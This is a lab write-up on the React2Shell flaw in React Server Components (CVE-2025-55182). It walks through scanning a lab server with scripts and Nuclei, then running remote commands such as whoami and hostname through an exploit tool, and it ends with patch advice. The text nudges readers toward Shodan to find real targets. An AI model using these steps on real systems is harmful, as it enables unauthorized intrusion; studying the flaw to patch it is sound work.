React2Shell (CVE-2025-55182) Exploitation Simulation

Note:

• This document is for educational and security research purposes only.
• Do not use to attack systems without authorization.

1. Overview

CVE-2025-55182, also known as React2Shell, is a critical Remote Code Execution (RCE) vulnerability affecting React Server Components (RSC). It uses the Flight protocol for communication between client and server. When a client requests data, the server receives a payload and parses it, which can allow an attacker to inject malicious structures or arbitrary code that React accepts as valid.

2. Cause

The server processes the payload from the client without adequate validation, allowing an attacker to:

• Inject malicious payload
• Execute code on the server
• Be exploited without user authentication as this is a pre-authentication vulnerability.

Exploitation activity related to this vulnerability has been detected since December 5, 2025. Most successful exploits originate from assessments by attack groups. Both Windows and Linux environments are affected.

3. Experimentation

Installation

pip install -r requirements.txt

Scan a vulnerable server:

python3 scanner.py -u https://example.com

Enter the path to scan (here I enter my vulnerable machine http://192.168.10.1:3000)

Result obtained:

╰─ python3 scanner.py -u http://192.168.10.1:3000             

brought to you by assetnote

[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled

[VULNERABLE] http://192.168.10.1:3000 - Status: 303

Additionally, you can scan more according to your exploitation purpose:

Scan a list of hosts:

python3 scanner.py -l hosts.txt

Scan with multiple threads and save results:

python3 scanner.py -l hosts.txt -t 20 -o results.json

Scan with custom headers:

python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"

Scan Windows targets:

python3 scanner.py -u https://example.com --windows

Use safe side-channel detection method:

python3 scanner.py -u https://example.com --safe-check

As you can see, we are facing a security vulnerability, meaning our supplied server is vulnerable to attack by an Attacker.

Nuclei

Now we will use Nuclei to check what vulnerability with a POC the above server is affected by. This feature works by sending custom requests, reducing false positives, and supports parallel scanning.

nuclei -t scan.yaml -u http://192.168.10.1:3000

Result obtained

[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.

The system has detected that this server is vulnerable and can be exploited by the CVE-2025-55182 vulnerability. From that, you can see it is a quite dangerous and important vulnerability with many POCs already available on social platforms. ☺☺☺

4. Exploitation Method

You can see that just this information is enough to confirm the security vulnerability exists in the above application. To prove that this application can be leveraged to run a command or execute code remotely, I will start the PoC.

chmod +x scanner.sh

Usage

# Check if the target is vulnerable
./datscan.sh -d example.com

# Execute command to check current user
./datscan.sh -d example.com -c "whoami"

# With full URL
./datscan.sh -d example.com -c "uname -a"

Meaning:

Returns the current user running the server process

Helps determine:

• which user the application runs under
• privilege level (low privilege or admin)

=> This is the most basic command to confirm successful RCE

Note

• -d, --domain - domain/URL
• -c, --command - Command to execute (e.g., whoami, hostname,...)

Examples

# Check machine name
./datscan.sh -d http://192.168.10.1:3000/ -c hostname  

# Determine operating system version
./datscan.sh -d http://192.168.10.1:3000/ -c ver 

# Check if command execution is working stably
./datscan.sh -c "echo test"

./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"

./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"

ILLUSTRATION AFTER EXECUTION

This is the initial reconnaissance step after successful exploitation.

Helps us confirm: RCE works, identify the operating system,...

ATTENTION

Because this experiment is demonstrated in a personal lab environment to avoid legal issues, using HTTP headers to exfiltrate data, large outputs, or special characters may cause:

• ERR_INVALID_CHAR
• Reduced Response
• Timeouts

Short commands (e.g., whoami, ver) are more reliable for illustration in the above test environment.

If you prefer, you can use Shodan to check live IP addresses on the real internet and perform the same steps as my experiment above to exploit (not recommended).

As noted above. This tool is for educational and authorized security testing purposes only. Do not use this tool to test systems you do not own or are not authorized to test.

5. Remediation Suggestions

• Do not trust client data
• Strict input validation
• Update versions
  • React: >= 19.0.1 / 19.1.2 / 19.2.1
  • Next.js: >= 15.0.5 / 16.0.7

6. Further References

• CVE-2025-55182 – https://nvd.nist.gov/vuln/detail/CVE-2025-55182
• CVE-2025-55182 - https://www.dynatrace.com/news/blog/cve-2025-55182-react2shell-critical-vulnerability-what-it-is-and-what-to-do/